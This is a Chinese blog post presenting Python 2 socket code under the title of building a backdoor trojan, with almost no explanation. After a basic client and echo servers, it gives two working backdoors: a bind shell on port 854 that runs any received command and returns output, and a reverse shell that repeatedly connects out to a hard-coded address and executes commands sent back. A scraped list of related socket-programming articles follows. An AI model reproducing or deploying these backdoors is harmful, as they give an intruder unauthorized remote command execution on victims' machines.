python socket编程制作后门木马(原创)
懒得解释怎么写出来的,直接上代码
Client: 简单连接服务器
#!/usr/bin/python
#coding:utf-8 import socket
import sys
socket.setdefaulttimeout(5) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) host = "www.baidu.com"
port = 80
remote_ip = socket.gethostbyname( host ) message = "GET / HTTP/1.1\r\n\r\n" s.connect((remote_ip, port))
s.sendall(message) reply = s.recv(4096) print reply
Server: 单线程,长久监听服务,长连接,会话先进先出排队原则
#!/usr/bin/python
#coding:utf-8 import socket
import sys HOST = ''
PORT = 444 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(10) while 1:
conn, addr = s.accept()
print "[+] connecting" , addr[0] + ":" , addr[1]
conn.send("Welcome to the server. Type something like:"
"COOKIE,GET,POST and hit <ENTRE>\n")
while 1:
data = conn.recv(1024)
print data
if data == "GET\n":
data = "OK, wait a moment\n"
if data == "POST\n":
data = "I am not a http server\n"
if data == "COOKIE\n":
data = "a cookie Biscuits??\n"
if data:
conn.sendall(data)
else:
break conn.close()
s.close()
Server: 多线程,长久监听服务,长连接,同步处理会话
#!/usr/bin/python
#coding:utf-8 import socket
import sys
from thread import * HOST = ''
PORT = 555 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(10) def clientthread(conn):
conn.send("Welcome to the server. Type something like:"
"COOKIE,GET,POST and hit <ENTRE>\n")
while 1:
data = conn.recv(1024)
print data
if data == "GET\n":
data = "OK, wait a moment\n"
if data == "POST\n":
data = "I am not a http server\n"
if data == "COOKIE\n":
data = "a cookie Biscuits??\n"
if data:
conn.sendall(data)
else:
break
conn.close() while 1:
conn, addr = s.accept()
print "[+] connecting" , addr[0] + ":" , addr[1]
start_new_thread(clientthread, (conn,)) s.close()
BackDoor: 结合命令执行制作后门木马(正向)
#!/usr/bin/python
#coding:utf-8 import socket
import sys
import commands
from thread import * HOST = ''
PORT = 854 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(10) def clientthread(conn):
conn.send("Welcome demon's backdoor!".center(50,"*") + "\n")
while 1:
conn.send("Demon_Backdoor# ")
data = conn.recv(1024)
if data:
cmd = data.strip("\n")
code,res = commands.getstatusoutput(cmd) if code == 0 :
conn.sendall(res+"\n")
else:
print "[-]Error: code",code
data = "" else:
break conn.close() while 1:
conn, addr = s.accept()
print "[+] connecting" , addr[0] + ":" , addr[1]
start_new_thread(clientthread, (conn,)) s.close()
BackDoor: 反弹shell(反向)
#!/usr/bin/python
#coding:utf-8 import socket
import sys
import commands
from time import sleep
from thread import * HOST = "192.168.10.24"
PORT = 444 def clientthread(s):
global isConnect
s.send("Welcome demon's backdoor!".center(50,"*") + "\n") while 1:
s.send("Demon_Backdoor# ")
data = s.recv(1024)
if data :
cmd = data.strip("\n")
code,res = commands.getstatusoutput(cmd) if code == 0 :
s.sendall(res+"\n")
else:
print "[-]Error: code",code
data = ""
else:
break while 1:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
print "[+] connecting" , HOST + ":", PORT
clientthread(s)
#start_new_thread(clientthread, (s,))
s.close()
except:
sleep(0.5)
转载指明出处:http://www.cnblogs.com/demonxian3/p/8666416.html
python socket编程制作后门木马(原创)的更多相关文章
- Python Socket 编程——聊天室示例程序
上一篇 我们学习了简单的 Python TCP Socket 编程,通过分别写服务端和客户端的代码了解基本的 Python Socket 编程模型.本文再通过一个例子来加强一下对 Socket 编程的 ...
- python/socket编程之粘包
python/socket编程之粘包 粘包 只有TCP有粘包现象,UDP永远不会粘包. 首先需要掌握一个socket收发消息的原理 发送端可以是1k,1k的发送数据而接受端的应用程序可以2k,2k的提 ...
- PYTHON SOCKET编程简介
原文地址: PYTHON SOCKET编程详细介绍 Python 提供了两个基本的 socket 模块. 第一个是 Socket,它提供了标准的 BSD Sockets API. 第二个是 Soc ...
- python socket编程笔记
用python实现一个简单的socket网络聊天通讯 (Linux --py2.7平台与windows--py3.6平台) 人生苦短之我用Python篇(socket编程) python之路 sock ...
- [Python_7] Python Socket 编程
0. 说明 Python Socket 编程 1. TCP 协议 [TCP Server] 通过 netstat -ano 查看端口是否开启 # -*-coding:utf-8-*- "&q ...
- Python Socket 编程示例 Echo Server
简评:我们已经从「Python Socket 编程概览」了解了 socket API 的概述以及客户端和服务器的通信方式,接下来让我们创建第一个客户端和服务器,我们将从一个简单的实现开始,服务器将简单 ...
- Python Socket 编程——聊天室演示样例程序
上一篇 我们学习了简单的 Python TCP Socket 编程,通过分别写服务端和client的代码了解主要的 Python Socket 编程模型.本文再通过一个样例来加强一下对 Socket ...
- python socket编程入门(编写server实例)+send 与sendall的区别与使用方法
python 编写server的步骤: 1. 第一步是创建socket对象.调用socket构造函数.如: socket = socket.socket( family, type ) family参 ...
- 第九章:Python高级编程-Python socket编程
第九章:Python高级编程-Python socket编程 Python3高级核心技术97讲 笔记 9.1 弄懂HTTP.Socket.TCP这几个概念 Socket为我们封装好了协议 9.2 cl ...
随机推荐
- javascript学习笔记01--javascript的基本介绍
javascript 的基本介绍1,是用于web开发的脚本语言①脚本语言往往不能独立使用 它需要和html等配合使用②脚本语言有自己的变量,函数 控制语句③解释性语言/编译语言 脚本语言实际是解释性语 ...
- Linux系统挂载NTFS文件系统
今天尝试并成功的将一块500G的移动硬盘挂载到了RHEL5的系统上,甚感欣慰.想到也许以后自己或其他同学们会有类似经历,于是尽量细致的记录于此. 无论是一块安装了Windows/Linu ...
- Android的sdk、api及工程目录说明
SDK下包的说明1:add-ons:Android开发需要的第三方文件和软件库2:docs:Android的文档.包括开发指南.API参考.资源等3:extras:扩展的附加包4:platforms: ...
- POI 的API大全二
1.POI结构与常用类 (1)POI介绍 Apache POI是Apache软件基金会的开源项目,POI提供API给Java程序对Microsoft Office格式档案读和写的功能. .NET的开发 ...
- monkey日志分析
Monkey测试的og分析,我们可以通过几个关键词来判断测试是否通过.1)Monkey finished打开LOG,查看log的最下端,是否有类似以下字段:## Network stats: elap ...
- RobotFramework下的http接口自动化Create Http Context关键字的使用
要想使用HttpLibrary,Create Http Context 关键字的作用相当于是创建了一个http 调用的环境,是必不可少的一个关键字. Create Http Context 关键字需要 ...
- 【BZOJ3680】吊打XXX(模拟退火)
[BZOJ3680]吊打XXX(模拟退火) 题面 BZOJ 题解 模拟退火... 就是模拟退火 然后这题有毒 各种调参数之后终于\(AC\)了.. 这种题就是玄学呀... 温度要调大 最后跑完还要向四 ...
- 【BZOJ1924】【SDOI2010】所驼门王的宝藏(Tarjan,SPFA)
题目描述 在宽广的非洲荒漠中,生活着一群勤劳勇敢的羊驼家族.被族人恭称为"先知"的Alpaca L. Sotomon是这个家族的领袖,外人也称其为"所驼门王". ...
- mac php 版本切换
注意:要求所有php版本都是由brew安装 一.使用brew安装php多版本方法 # brew install php56 # brew install php70 二.安装切换工具 # brew i ...
- linux 添加ftp用户与登录配置详解
不同类Unix有一定区别 版本不同也有些区别 在linux主机上如何添加ftp用户 (一)修改配置文件 vi /etc/vsftpd/vsftpd.conf 在96行,97,98行 96 chroot ...